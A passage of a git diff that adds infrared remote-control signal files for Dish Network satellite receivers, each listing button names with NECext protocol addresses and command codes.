00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 10 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 18 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir new file mode 100644 index 000000000..45e534dff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,2.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 0E 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT_(THEMES) +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 1F 00 00 00 +# +name: SYS_INFO +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 24 00 00 00 +# +name: *-FORMAT +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 25 00 00 00 +# +name: #-SEARCH +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 26 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 02 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir new file mode 100644 index 000000000..c7321d8ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,3.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 0E 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT_(THEMES) +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 1E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 1F 00 00 00 +# +name: SYS_INFO +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 24 00 00 00 +# +name: *-FORMAT +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 25 00 00 00 +# +name: #-SEARCH +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 26 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 03 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir new file mode 100644 index 000000000..f424290f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,31.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: ALL_ADRESSES_ON +type: parsed +protocol: NECext +address: 00 1F 00 00 +command: 01 00 00 00 +# +name: ALL_ADRESSES_OFF +type: parsed +protocol: NECext +address: 00 1F 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir new file mode 100644 index 000000000..a2b67bd05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,4.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 05 00 00 00 +# +name: 2_-_ABC +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 06 00 00 00 +# +name: 3_-_DEF +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 08 00 00 00 +# +name: 4_-_GHI +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 09 00 00 00 +# +name: 5_-_JKL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0A 00 00 00 +# +name: 6_-_MNO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0C 00 00 00 +# +name: 7_-_PQRS +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0D 00 00 00 +# +name: 8_-_TUV +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0E 00 00 00 +# +name: 9_-_WXYZ +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT_(THEME) +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 20 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 21 00 00 00 +# +name: *_FORMAT +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 25 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 25 00 00 00 +# +name: #_SEARCH +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 26 00 00 00 +# +name: #_-_SEARCH +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 26 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir new file mode 100644 index 000000000..fbf7e4322 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,5.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 0E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 10 00 00 00 +# +name: SELECT/OK +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 11 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 16 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 17 00 00 00 +# +name: SD/HD/INPUT +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 18 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1A 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1C 00 00 00 +# +name: THEMES +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 21 00 00 00 +# +name: *_FORMAT +type: parsed +protocol: NECext +address: 00 05 00 00 +command: 25 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 34 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 36 00 00 00 +# +name: ARROW_REVERSE +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 36 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 37 00 00 00 +# +name: ARROW_FORWARD +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 3A 00 00 00 +# +name: PIP_POSTION +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 3B 00 00 00 +# +name: PIP_SAWP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir new file mode 100644 index 000000000..472e90f46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,5.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 03 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 07 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 0F 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 31 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 31 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 32 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 34 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 36 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 36 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 37 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 39 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 3A 00 00 00 +# +name: PIP_POSTION +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 3B 00 00 00 +# +name: PIP_SAWP +type: parsed +protocol: NECext +address: 01 05 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir new file mode 100644 index 000000000..ee5f57ce3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,6.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 03 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 07 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 0F 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 31 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 31 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 32 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 34 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 36 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 36 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 37 00 00 00 +# +name: SKIP_FWD +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 3A 00 00 00 +# +name: PIP_POSTION +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 3B 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 3B 00 00 00 +# +name: PIP_SAWP +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 3D 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 06 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir new file mode 100644 index 000000000..4a6d2db8c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/1,7.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 03 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 07 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 0F 00 00 00 +# +name: BACK_<< +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 31 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 31 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 32 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 34 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 36 00 00 00 +# +name: SKIP- +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 36 00 00 00 +# +name: SKIP+ +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 3A 00 00 00 +# +name: PIP_POSTION +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 3B 00 00 00 +# +name: PIP_SAWP +type: parsed +protocol: NECext +address: 01 07 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir new file mode 100644 index 000000000..fcaa3b856 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir new file mode 100644 index 000000000..6b3262c79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/16,0.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir new file mode 100644 index 000000000..164398f85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/24,0.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 23 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 34 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir new file mode 100644 index 000000000..7661fe40d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir new file mode 100644 index 000000000..0118844bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir new file mode 100644 index 000000000..9d7b4628d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/4,5.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 29 00 00 00 diff --git 